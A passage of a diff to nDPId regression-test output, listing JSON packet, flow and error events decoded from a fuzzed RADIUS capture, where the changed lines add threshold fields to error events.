01284{"packet_event_id":1,"packet_event_name":"packet","packet_id":83,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997050383244,"pkt":"AAAMB6xAABRP+4rqCABFAALbIO5WAP8RAAAKDEAexuYZNXIQBxQCJQAAATQCv+aa7vRvKm2pJNxjASYcFmMaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqTwATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwXVZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdGZzZTNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmJmMGE0MjI1YiwgNTQyMmE0ZjAvZjA6Nzk6NjA6ZDFCN2Q6MzcvMjE4BAasFAEQIA5WWtdDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAHdBBgAAAAZRBDU2TzoCAQA4ATAzMRI0ODAwNzM2MzgQNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3ThbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgxrALTIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VyXmAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPUnRhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASLJHJyWe9KDtsOLUZd3kW6Q=="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":84,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205,"global_ts_usec":1528997104799280} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997104799280,"packet_id":84,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205,"global_ts_usec":1528997104799280} 00611{"packet_event_id":1,"packet_event_name":"packet","packet_id":84,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"thread_ts_usec":1528997050383244,"pkt":"ABRP+4rqcNuYVcUnCABFAADh\/QZEAPwRVsPG4hk1CgxAHgcUchAAzQgPCzQAxXtSKpzAf8BNRiUAokr5DysBNTAzMTE0ODAwN542MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncEhuZXR3b3JrLm9yZyyJNWIyMmE0ZjAvZjA6Nzk6NjA6ZDE6N2Q6MzclADE4T0oBAgBIFwEAAAEFAACKcjsVwlSKKOJtGmnEM40WAgUAJQAILZ6MsQAAKZLBCeu2GRuLAQACCwUAAJ\/BcysACZ\/4FKr5Z9ZbwGpQEmbTcy3rfjC83itm2j6DCO4="} 00737{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":86,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":17,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997105304205,"flow_src_last_pkt_time":1528997105304205,"flow_dst_last_pkt_time":1528997105304205,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":284,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":284,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":284,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997105304205,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","l4_proto":88,"flow_datalink":1,"flow_max_packets":3} 00882{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":86,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_src_last_pkt_time":1528997105304205,"flow_dst_last_pkt_time":1528997105304205,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":318,"pkt_l4_len":284,"thread_ts_usec":1528997105304205,"pkt":"ABRP+4rqcNuYVcUnCABFAAEw\/QtAAPxYVm\/G4hk1CgxAHgcUchABHIJZAjUBFIVrGSOS1oLndVnFKVWnbGoaCwAAV8gbBVNQQxpuAAABNxA068q45YUN\/fhrVdP8LBtW4SmALFtdsWb5hs7\/8\/9n5+eq0Df0PkMMbrFhe6mwiqYImFERNLWmv3lBPH8LOa+rokyY3FJkdnDDQhSYNRCrOtMioCo5aXrsAAJ6j7Kc6YNqYGU8UqSvASgwMzExNDgwMDczUjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcsIDViMjJhNGYwL2YwOjc5OjYwOmQxOjdkOlk3LzIxOFkMOTA4NDIxMzI5MhIJU3VjY2VzcxkFU1BDTwYDAgAEUBJMzhShZ173Q9M6eXZ8hQzE"} 00738{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":89,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997109583874,"flow_src_last_pkt_time":1528997109583874,"flow_dst_last_pkt_time":1528997109583874,"flow_idle_time":620000000,"flow_src_min_l4_payload_len":691,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":691,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":691,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997109583874,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","l4_proto":254,"flow_datalink":1,"flow_max_packets":3} 01424{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_src_last_pkt_time":1528997109583874,"flow_dst_last_pkt_time":1528997109583874,"flow_idle_time":620000000,"pkt_oversize":false,"pkt_caplen":725,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":725,"pkt_l4_len":691,"thread_ts_usec":1528997109583874,"pkt":"AAAMB6xAABRP+4rqCABFAALHIPFAAP\/+AAAKDEAexuIZNXIQBxQCswAAATcCq5VZOX5pbnkbLCYZ0nqbgzoaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMwNwZbIqT1ATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZnBwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwY2JmMGE0MjI1YiwgNWIyMmE0ZjAvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE4BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAgAkFwEAAAsFcwD\/DNAuaveCVbGDkVIwd1IcAwIAIASFDyEaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyAgERVQaEAAAV8gKClN0YW5kYXJkGhAAAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoaEQAAV8gRC0x5bmRodXJzdBoMAABXiBIGAAAAyRoXAABXUR0RVlpXIEMyIFRlc3QgTGFiGgsAAFdrJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOVcaDAByOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlJQAaDAAABYMHBsBQSplQElS\/ahHMEatmlfMLiyrCF7k="} -00220{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":92,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205,"global_ts_usec":1528997113631938} +00320{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997113631938,"packet_id":92,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":205,"global_ts_usec":1528997113631938} 00611{"packet_event_id":1,"packet_event_name":"packet","packet_id":92,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":239,"pkt_l4_len":0,"thread_ts_usec":1528997113424937,"pkt":"ABRP+4rqcNuYVcUnCABFAAvh\/SZAAPwRVqNv4hk1CgxAHgcUchAAzU+kCzgAxaY+TEQIBvIbEM8gxwm8HiEBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNSUAMmE0ZjBKZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE4T0oBAgBIFwEAAAEFAADPr1+7vG3\/htCZ9485+1faAgUAAJ17h25JOQAAmA0tC\/t4G7mLAQACCwUAAM8TNgqzvAoBwPCLdirLFOVQEinOKpiYJ1ox0+WTuvuhy58="} 00776{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":13,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997023501287,"flow_src_last_pkt_time":1528997023501287,"flow_dst_last_pkt_time":1528997023501287,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":164,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":164,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":164,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997114153492,"l3_proto":"ip4","src_ip":"198.162.25.53","dst_ip":"10.12.64.30","src_port":1810,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00931{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":3,"flow_state":"finished","flow_src_packets_processed":28,"flow_dst_packets_processed":25,"flow_first_seen":1528996068129675,"flow_src_last_pkt_time":1528997113934293,"flow_dst_last_pkt_time":1528997114153492,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":655,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":276,"flow_src_tot_l4_payload_len":19084,"flow_dst_tot_l4_payload_len":4720,"midstream":0,"thread_ts_usec":1528997114153492,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} @@ -134,19 +134,19 @@ 00923{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":14,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997046661252,"flow_src_last_pkt_time":1528997046661252,"flow_dst_last_pkt_time":1528997046661252,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":137,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":137,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":137,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997114153492,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"74.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00923{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":12,"flow_state":"finished","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996990648296,"flow_src_last_pkt_time":1528996990648296,"flow_dst_last_pkt_time":1528996990648296,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":105,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":105,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":105,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997114153492,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":29264,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} 00783{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528996990566774,"flow_src_last_pkt_time":1528996990566774,"flow_dst_last_pkt_time":1528996990566774,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997114153492,"l3_proto":"ip4","src_ip":"170.170.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} -00201{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2100,"global_ts_usec":1528997133564942} +00301{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997133564942,"packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":2100,"global_ts_usec":1528997133564942} 01286{"packet_event_id":1,"packet_event_name":"packet","packet_id":95,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":745,"pkt_type":2100,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"thread_ts_usec":1528997114153492,"pkt":"AAAMB6xAABRP+4rqCDRFAALbIPRAAP8RAAAKDEAexnIZNXIQBxQCxwAAAToCv+vfrufmnhCXLUg\/JVwSV1oaCkAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqUNATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTA+OlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zEXNzaW9uLWlkPTEwZiUAMGFjMDAwMDAwYmJmMGE0MjI1YiwgNWIyMmE0ZjAvZjA6N7s6NjA6ZDE6N2Q6MzcvMjE4BAasNAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgEAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzNTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjM14xLjNncHBuZXR3b3JrLm9yZxoUIABXyAcOVlpXQzJUZXMtTGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoBABBXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBNYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQEAOCESD0ludmFsaWQgVmFsdWUaHQAAOMQTFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcuVjdBoMAAAFgwcGwFBKmVASGDIZZLp6RfMCK\/1DfUENrQ=="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":96,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":19,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997134036207,"flow_src_last_pkt_time":1528997134036207,"flow_dst_last_pkt_time":1528997134036207,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997134036207,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.120.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00774{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_src_last_pkt_time":1528997134036207,"flow_dst_last_pkt_time":1528997134036207,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997134036207,"pkt":"ABxP+4rqcNuYVcUnCABFAADh\/WZAAPsRV2PG4hk1Cgx4HgcUchAAzWYuCzpCxXGn0Uh9HQ+OyLOqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} 00773{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":20,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997212627458,"flow_src_last_pkt_time":1528997212627458,"flow_dst_last_pkt_time":1528997212627458,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997212627458,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"206.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01449{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_src_last_pkt_time":1528997212627458,"flow_dst_last_pkt_time":1528997212627458,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"thread_ts_usec":1528997212627458,"pkt":"AAAMB6xAABRP+4p2CABFAALbIPZAAP8RAAAKDEAezuIZNXIQBxQCxwAAATwCvzm9iAIIk1e98ZWWJBeuNcEaCgAAV8gOBCUAGgwAAFfIDQZ3aWZpJQAAAFfICQlXSVNQUjEwGgkAADghDQMxNwZbIqVcATUwMzExNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQUNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYmM0OWE1MjI1YiwgNWIyMmE1NDlOZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE5BgasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAQwIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCHAA4ATAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGglqAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAACqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} 00882{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":99,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":20,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997212627458,"flow_src_last_pkt_time":1528997212627458,"flow_dst_last_pkt_time":1528997212627458,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":703,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":703,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":703,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997212627458,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"206.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00202{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":105,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":3072,"global_ts_usec":1528997217637103} +00302{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1528997217637103,"packet_id":105,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","layer_type":3072,"global_ts_usec":1528997217637103} 01257{"packet_event_id":1,"packet_event_name":"packet","packet_id":105,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":725,"pkt_type":3072,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":725,"pkt_l4_len":0,"thread_ts_usec":1528997217103238,"pkt":"AAAMB6xAABRP+4rqDABFAALHIPlAAP8RAAAKDEAexuIZNXIQBxQCswAAAT8Cqw8xhdF672TCSWbkw5Hj930aCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMxNwZbIqVhATUwMzFJNDgwMDczNjM4MDcyQHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3Bwbld0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TZjAtNzktNjAtZDEtN2QtMzceJTAwLWE3LeoyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmZxMGFjMDAwMDAwYmM0OWE1MjI1YiwgNWIyMmE1NDkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE5BAasFAEQIA5WWldDMlRlc3RMYWIaWAAAN2MBBgAAAAIGBgAAAAIMBgAABUM9BgAAABNABgAAAA1BBgAAAAZRBDU2TyYCAnIkFwEAAAsFAADyEldFerwQeByQ1kXOElNqAwIAILdGopoaFAAAV8gHDlZaV0MyVGVzdExhYhoKAABXyGQERVQaEAAAV8gKClN0YW5kYXJkGhBmAFfICwpUZXN0IExhYhoJAABXyA8DMRoKAABXyBAETkoacAAAV8gRC0x5dGRodXJzdBoMAABXyBIGAAAAyRoXAABXyB0RVlpXIEMlAFRlc3QgTGFiGgsAAFfIJQVWelcaDQAAOCEOBzA3MDcxGgwAADghEQYAAAAAGhUAADghEg9JbnZhbGlkIFZhbHVlGh0AADghExc0MC44MDQ4ODJOLTc0LjEwMjgzOTQaDAAAOCEUBgAAAQIaDAAAOCEVBgAAAAIaFQAAOCEWD1N0YWRpdW1EaXJlY3QaDAAABYMHBsBQSplQEkID4rD4BVEKK4FucluzaU0="} 00774{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":108,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":21,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997221594421,"flow_src_last_pkt_time":1528997221594421,"flow_dst_last_pkt_time":1528997221594421,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997221594421,"l3_proto":"ip4","src_ip":"198.157.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00776{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_src_last_pkt_time":1528997221594421,"flow_dst_last_pkt_time":1528997221594421,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"thread_ts_usec":1528997221594421,"pkt":"ABRP+4olANuYVcUnCABFAADh\/iUAAPwRVXHGnRk1CgxAHgcUchAAzbneC0AAxXHEG2jtNCK6Pim9jxODZEQBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWYyMmE1NDkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjE5T0oBAgBIFwEAAAEFAAC130tW1AOjyO4EWETLCns4AgUAADpBoI2KsgAA1NEalEdfz2mLAQACCwUAAKYxpY6FFiCOWOh\/rUxMKdLfEvgA+nuQ51DKsqmwU74i6PE="} 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":108,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":21,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1528997221594421,"flow_src_last_pkt_time":1528997221594421,"flow_dst_last_pkt_time":1528997221594421,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":197,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":197,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":197,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1528997221594421,"l3_proto":"ip4","src_ip":"198.157.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29200,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Radius","proto_id":"146","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00221{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":109,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":691,"global_ts_usec":1528997221878096} +00321{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload 